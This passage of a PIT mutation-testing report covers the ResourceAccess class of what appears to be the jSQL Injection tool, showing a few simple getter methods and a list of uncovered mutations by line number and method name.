661 1 1. getExploitMysql : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitMysql → NO_COVERAGE
        return this.exploitMysql;
662
    }
663
664
    public ExploitOracle getExploitOracle() {
665 1 1. getExploitOracle : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitOracle → NO_COVERAGE
        return this.exploitOracle;
666
    }
667
668
    public ExploitPostgres getExploitPostgres() {
669 1 1. getExploitPostgres : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitPostgres → NO_COVERAGE
        return this.exploitPostgres;
670
    }
671
672
    public boolean isSearchAdminStopped() {
673 2 1. isSearchAdminStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE
2. isSearchAdminStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE
        return this.isSearchAdminStopped;
674
    }
675
    
676
    public void setScanStopped(boolean isScanStopped) {
677
        this.isScanStopped = isScanStopped;
678
    }
679
680
    public boolean isScanStopped() {
681 2 1. isScanStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE
2. isScanStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE
        return this.isScanStopped;
682
    }
683
684
    public ExploitHsqldb getExploitHsqldb() {
685 1 1. getExploitHsqldb : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitHsqldb → NO_COVERAGE
        return this.exploitHsqldb;
686
    }
687
688
    public ExploitH2 getExploitH2() {
689 1 1. getExploitH2 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitH2 → NO_COVERAGE
        return this.exploitH2;
690
    }
691
692
    public ExploitDerby getExploitDerby() {
693 1 1. getExploitDerby : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitDerby → NO_COVERAGE
        return this.exploitDerby;
694
    }
695
696
    public ExploitSqlserver getExploitSqlserver() {
697 1 1. getExploitSqlserver : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitSqlserver → NO_COVERAGE
        return this.exploitSqlserver;
698
    }
699
}

Mutations

145

1.1
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

149

1.1
Location : createAdminPages
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

172

1.1
Location : createAdminPages
Killed by : none
Replaced integer multiplication with division → NO_COVERAGE

176

1.1
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createAdminPages
Killed by : none
changed conditional boundary → NO_COVERAGE

3.3
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

182

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

184

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::logSearchAdminPage → NO_COVERAGE

186

1.1
Location : createAdminPages
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::createAdminPages → NO_COVERAGE

194

1.1
Location : callAdminPage
Killed by : none
negated conditional → NO_COVERAGE

195

1.1
Location : callAdminPage
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

196

1.1
Location : callAdminPage
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

201

1.1
Location : callAdminPage
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

205

1.1
Location : callAdminPage
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::callAdminPage → NO_COVERAGE

213

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : logSearchAdminPage
Killed by : none
changed conditional boundary → NO_COVERAGE

217

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : logSearchAdminPage
Killed by : none
changed conditional boundary → NO_COVERAGE

226

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

230

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

235

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

243

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

250

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

255

1.1
Location : checkUrls
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::checkUrls → NO_COVERAGE

276

1.1
Location : getExploitUrl
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : getExploitUrl
Killed by : none
changed conditional boundary → NO_COVERAGE

279

1.1
Location : getExploitUrl
Killed by : none
negated conditional → NO_COVERAGE

286

1.1
Location : getExploitUrl
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

292

1.1
Location : getExploitUrl
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

293

1.1
Location : getExploitUrl
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getExploitUrl → NO_COVERAGE

297

1.1
Location : callCommand
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::callCommand → NO_COVERAGE

317

1.1
Location : callCommand
Killed by : none
negated conditional → NO_COVERAGE

331

1.1
Location : runWebShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE

338

1.1
Location : runWebShell
Killed by : none
negated conditional → NO_COVERAGE

341

1.1
Location : runWebShell
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

342

1.1
Location : runWebShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE

354

1.1
Location : runSqlShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE

366

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

368

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

376

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

377

1.1
Location : runSqlShell
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

379

1.1
Location : runSqlShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE

394

1.1
Location : convert
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

396

1.1
Location : convert
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

405

1.1
Location : convert
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::convert → NO_COVERAGE

412

1.1
Location : parseColumnLength
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : parseColumnLength
Killed by : none
changed conditional boundary → NO_COVERAGE

416

1.1
Location : parseColumnLength
Killed by : none
removed call to java/util/List::sort → NO_COVERAGE

417

1.1
Location : lambda$parseColumnLength$0
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::lambda$parseColumnLength$0 → NO_COVERAGE

2.2
Location : lambda$parseColumnLength$0
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

421

1.1
Location : parseColumnLength
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parseColumnLength → NO_COVERAGE

427

1.1
Location : parse
Killed by : none
negated conditional → NO_COVERAGE

433

1.1
Location : parse
Killed by : none
negated conditional → NO_COVERAGE

438

1.1
Location : parse
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parse → NO_COVERAGE

446

1.1
Location : upload
Killed by : none
negated conditional → NO_COVERAGE

476

1.1
Location : upload
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

487

1.1
Location : upload
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::upload → NO_COVERAGE

508

1.1
Location : isMysqlReadDenied
Killed by : none
negated conditional → NO_COVERAGE

509

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendResponseFromSite → NO_COVERAGE

510

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

511

1.1
Location : isMysqlReadDenied
Killed by : none
negated conditional → NO_COVERAGE

513

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

515

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

519

1.1
Location : isMysqlReadDenied
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isMysqlReadDenied → NO_COVERAGE

2.2
Location : isMysqlReadDenied
Killed by : none
negated conditional → NO_COVERAGE

533

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

534

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

557

1.1
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

561

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

563

1.1
Location : readFile
Killed by : none
Replaced integer addition with subtraction → NO_COVERAGE

568

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

570

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

574

1.1
Location : lambda$readFile$1
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$readFile$1 → NO_COVERAGE

581

1.1
Location : readFile
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

587

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE

589

1.1
Location : readFile
Killed by : none
removed call to java/util/List::clear → NO_COVERAGE

590

1.1
Location : readFile
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

597

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

601

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

606

1.1
Location : readFile
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::readFile → NO_COVERAGE

611

1.1
Location : getResult
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResult → NO_COVERAGE

624

1.1
Location : getResultWithCatch
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResultWithCatch → NO_COVERAGE

645

1.1
Location : stopSearchFile
Killed by : none
removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE

657

1.1
Location : getExploitSqlite
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitSqlite → NO_COVERAGE

661

1.1
Location : getExploitMysql
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitMysql → NO_COVERAGE

665

1.1
Location : getExploitOracle
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitOracle → NO_COVERAGE

669

1.1
Location : getExploitPostgres
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitPostgres → NO_COVERAGE

673

1.1
Location : isSearchAdminStopped
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE

2.2
Location : isSearchAdminStopped
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE

681

1.1
Location : isScanStopped
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE

2.2
Location : isScanStopped
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE

685

1.1
Location : getExploitHsqldb
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitHsqldb → NO_COVERAGE

689

1.1
Location : getExploitH2
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitH2 → NO_COVERAGE

693

1.1
Location : getExploitDerby
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitDerby → NO_COVERAGE

697

1.1
Location : getExploitSqlserver
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitSqlserver → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.23.0